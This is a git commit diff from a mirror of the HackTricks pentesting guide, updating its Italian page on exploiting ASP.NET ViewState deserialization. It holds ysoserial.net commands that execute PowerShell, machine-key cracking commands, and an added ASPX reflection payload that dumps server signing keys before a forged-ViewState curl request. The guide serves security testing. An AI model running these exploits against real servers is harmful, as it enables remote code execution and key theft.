mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p
This commit is contained in:
parent
acc7fe11de
commit
9379bf5470
@ -6,7 +6,7 @@
|
||||
|
||||
## Cos'è ViewState
|
||||
|
||||
**ViewState** funge da meccanismo predefinito in ASP.NET per mantenere i dati della pagina e del controllo tra le pagine web. Durante il rendering dell'HTML di una pagina, lo stato attuale della pagina e i valori da preservare durante un postback vengono serializzati in stringhe codificate in base64. Queste stringhe vengono quindi collocate in campi ViewState nascosti.
|
||||
**ViewState** funge da meccanismo predefinito in ASP.NET per mantenere i dati della pagina e del controllo tra le pagine web. Durante il rendering dell'HTML di una pagina, lo stato attuale della pagina e i valori da preservare durante un postback vengono serializzati in stringhe codificate in base64. Queste stringhe vengono quindi inserite in campi ViewState nascosti.
|
||||
|
||||
Le informazioni di ViewState possono essere caratterizzate dalle seguenti proprietà o dalle loro combinazioni:
|
||||
|
||||
@ -24,11 +24,11 @@ L'immagine è una tabella che dettaglia diverse configurazioni per ViewState in
|
||||
1. Per **qualsiasi versione di .NET**, quando sia MAC che Crittografia sono disabilitati, non è richiesto un MachineKey, e quindi non c'è un metodo applicabile per identificarlo.
|
||||
2. Per **versioni inferiori a 4.5**, se il MAC è abilitato ma la Crittografia non lo è, è richiesto un MachineKey. Il metodo per identificare il MachineKey è chiamato "Blacklist3r."
|
||||
3. Per **versioni inferiori a 4.5**, indipendentemente dal fatto che il MAC sia abilitato o disabilitato, se la Crittografia è abilitata, è necessario un MachineKey. Identificare il MachineKey è un compito per "Blacklist3r - Sviluppo Futuro."
|
||||
4. Per **versioni 4.5 e superiori**, tutte le combinazioni di MAC e Crittografia (sia che entrambi siano true, o che uno sia true e l'altro false) richiedono un MachineKey. Il MachineKey può essere identificato utilizzando "Blacklist3r."
|
||||
4. Per **versioni 4.5 e superiori**, tutte le combinazioni di MAC e Crittografia (che siano entrambe true, o una sia true e l'altra false) richiedono un MachineKey. Il MachineKey può essere identificato utilizzando "Blacklist3r."
|
||||
|
||||
### Caso di Test: 1 – EnableViewStateMac=false e viewStateEncryptionMode=false
|
||||
|
||||
È anche possibile disabilitare completamente il ViewStateMAC impostando la chiave di registro `AspNetEnforceViewStateMac` a zero in:
|
||||
È anche possibile disabilitare completamente il ViewStateMAC impostando la chiave di registro `AspNetEnforceViewStateMac` su zero in:
|
||||
```
|
||||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
|
||||
```
|
||||
@ -41,8 +41,8 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
|
||||
### Test case 1.5 – Come nel Test case 1 ma il cookie ViewState non viene inviato dal server
|
||||
|
||||
Gli sviluppatori possono **rimuovere ViewState** affinché non diventi parte di una richiesta HTTP (l'utente non riceverà questo cookie).\
|
||||
Si potrebbe assumere che se **ViewState** non è **presente**, la loro implementazione è **sicura** da potenziali vulnerabilità derivanti dalla deserializzazione di ViewState.\
|
||||
Tuttavia, non è così. Se **aggiungiamo il parametro ViewState** al corpo della richiesta e inviamo il nostro payload serializzato creato utilizzando ysoserial, saremo comunque in grado di ottenere **esecuzione di codice** come mostrato nel **Caso 1**.
|
||||
Si potrebbe presumere che se **ViewState** non è **presente**, la loro implementazione è **sicura** da potenziali vulnerabilità derivanti dalla deserializzazione di ViewState.\
|
||||
Tuttavia, non è così. Se **aggiungiamo il parametro ViewState** al corpo della richiesta e inviamo il nostro payload serializzato creato utilizzando ysoserial, saremo comunque in grado di ottenere **l'esecuzione di codice** come mostrato nel **Caso 1**.
|
||||
|
||||
### Test Case: 2 – .Net < 4.5 e EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||
|
||||
@ -50,7 +50,7 @@ Per **abilitare ViewState MAC** per una **pagina specifica** dobbiamo apportare
|
||||
```bash
|
||||
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
|
||||
```
|
||||
Possiamo farlo anche per l'**applicazione** **complessiva** impostandolo nel file **web.config** come mostrato di seguito:
|
||||
Possiamo farlo anche per l'applicazione **complessiva** impostandolo nel file **web.config** come mostrato di seguito:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<configuration>
|
||||
@ -70,7 +70,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
|
||||
--encrypteddata : __VIEWSTATE parameter value of the target application
|
||||
--modifier : __VIWESTATEGENERATOR parameter value
|
||||
```
|
||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) è un altro strumento che può identificare machineKeys noti. È scritto in Python, quindi a differenza di Blacklist3r, non ci sono dipendenze da Windows. Per i viewstate .NET, c'è un'utilità "python blacklist3r", che è il modo più veloce per usarlo.
|
||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) è un altro strumento che può identificare machineKeys noti. È scritto in Python, quindi a differenza di Blacklist3r, non ha dipendenze da Windows. Per i viewstate .NET, c'è un'utilità "python blacklist3r", che è il modo più veloce per usarlo.
|
||||
|
||||
Può essere fornito direttamente con il viewstate e il generatore:
|
||||
```
|
||||
@ -108,11 +108,11 @@ Nei casi in cui il parametro `_VIEWSTATEGENERATOR` **non viene inviato** dal ser
|
||||
```
|
||||
### Test Case: 3 – .Net < 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true
|
||||
|
||||
In questo caso non è noto se il parametro è protetto con MAC. Quindi, il valore è probabilmente crittografato e avrai **bisogno della Machine Key per crittografare il tuo payload** per sfruttare la vulnerabilità.
|
||||
In questo caso non è noto se il parametro è protetto con MAC. Quindi, il valore è probabilmente crittografato e **hai bisogno della Machine Key per crittografare il tuo payload** per sfruttare la vulnerabilità.
|
||||
|
||||
**In questo caso il** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **modulo è in fase di sviluppo...**
|
||||
|
||||
**Prima di .NET 4.5**, ASP.NET può **accettare** un parametro \_`__VIEWSTATE`\_ **non crittografato** dagli utenti **anche** se **`ViewStateEncryptionMode`** è stato impostato su _**Always**_. ASP.NET **controlla solo** la **presenza** del parametro **`__VIEWSTATEENCRYPTED`** nella richiesta. **Se si rimuove questo parametro e si invia il payload non crittografato, verrà comunque elaborato.**
|
||||
**Prima di .NET 4.5**, ASP.NET può **accettare** un **parametro** \_`__VIEWSTATE`\_ **non crittografato** dagli utenti **anche** se **`ViewStateEncryptionMode`** è stato impostato su _**Always**_. ASP.NET **controlla solo** la **presenza** del parametro **`__VIEWSTATEENCRYPTED`** nella richiesta. **Se si rimuove questo parametro e si invia il payload non crittografato, verrà comunque elaborato.**
|
||||
|
||||
Pertanto, se gli attaccanti trovano un modo per ottenere la Machinekey tramite un'altra vulnerabilità come il file traversal, il comando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) utilizzato nel **Caso 2** può essere usato per eseguire RCE sfruttando la vulnerabilità di deserializzazione di ViewState.
|
||||
|
||||
@ -138,7 +138,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw
|
||||
--IISDirPath = {Directory path of website in IIS}
|
||||
--TargetPagePath = {Target page path in application}
|
||||
```
|
||||
Per una descrizione più dettagliata di IISDirPath e TargetPagePath [fare riferimento qui](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
Per una descrizione più dettagliata di IISDirPath e TargetPagePath [riferisciti qui](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
|
||||
Oppure, con [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (con un valore generatore):
|
||||
```bash
|
||||
@ -159,22 +159,54 @@ Un'esploitazione riuscita della vulnerabilità di deserializzazione di ViewState
|
||||
|
||||
### Test Case 6 – ViewStateUserKeys è in uso
|
||||
|
||||
La proprietà **ViewStateUserKey** può essere utilizzata per **difendersi** da un **attacco CSRF**. Se tale chiave è stata definita nell'applicazione e proviamo a generare il payload **ViewState** con i metodi discussi fino ad ora, il **payload non verrà elaborato dall'applicazione**.\
|
||||
La proprietà **ViewStateUserKey** può essere utilizzata per **difendersi** da un **attacco CSRF**. Se una tale chiave è stata definita nell'applicazione e proviamo a generare il payload **ViewState** con i metodi discussi fino ad ora, il **payload non verrà elaborato dall'applicazione**.\
|
||||
Devi usare un parametro in più per creare correttamente il payload:
|
||||
```bash
|
||||
--viewstateuserkey="randomstringdefinedintheserver"
|
||||
```
|
||||
### Risultato di un'Esplorazione Riuscita <a href="#poc" id="poc"></a>
|
||||
|
||||
Per tutti i casi di test, se il payload ViewState YSoSerial.Net funziona **con successo**, il server risponde con “**500 Internal server error**” con contenuto di risposta “**Le informazioni di stato non sono valide per questa pagina e potrebbero essere corrotte**” e otteniamo la richiesta OOB.
|
||||
Per tutti i casi di test, se il payload ViewState YSoSerial.Net funziona **con successo**, il server risponde con “**500 Internal server error**” con contenuto della risposta “**Le informazioni di stato non sono valide per questa pagina e potrebbero essere corrotte**” e otteniamo la richiesta OOB.
|
||||
|
||||
Controlla per [ulteriori informazioni qui](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
|
||||
|
||||
### Dumping delle Chiavi della Macchina ASP.NET tramite Reflection (SharPyShell/SharePoint ToolShell)
|
||||
|
||||
Gli attaccanti che sono in grado di **caricare o eseguire codice ASPX arbitrario** all'interno della radice web target possono recuperare direttamente le chiavi segrete che proteggono `__VIEWSTATE` invece di forzarle.
|
||||
Un payload minimo che rivela le chiavi sfrutta le classi interne .NET tramite reflection:
|
||||
```csharp
|
||||
<%@ Import Namespace="System.Web.Configuration" %>
|
||||
<%@ Import Namespace="System.Reflection" %>
|
||||
<script runat="server">
|
||||
public void Page_Load(object sender, EventArgs e)
|
||||
{
|
||||
var asm = Assembly.Load("System.Web");
|
||||
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
|
||||
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
|
||||
var cfg = (MachineKeySection)m.Invoke(null, null);
|
||||
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
|
||||
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
|
||||
}
|
||||
</script>
|
||||
```
|
||||
Richiedere la pagina stampa il **ValidationKey**, **DecryptionKey**, l'algoritmo di crittografia e la modalità di compatibilità ASP.NET. Questi valori possono ora essere inseriti direttamente in **ysoserial.net** per creare un gadget `__VIEWSTATE` valido e firmato:
|
||||
```bash
|
||||
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
|
||||
-c "powershell -nop -c \"whoami\"" \
|
||||
--generator=<VIEWSTATE_GENERATOR> \
|
||||
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
|
||||
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
|
||||
--islegacy --minify
|
||||
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
|
||||
```
|
||||
Questo **primitivo di key-exfiltration** è stato massicciamente sfruttato contro server SharePoint on-prem nel 2025 ("ToolShell" – CVE-2025-53770/53771), ma è applicabile a qualsiasi applicazione ASP.NET in cui un attaccante può eseguire codice lato server.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
|
||||
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
|
||||
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||||
- [Catena di sfruttamento “ToolShell” di SharePoint (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user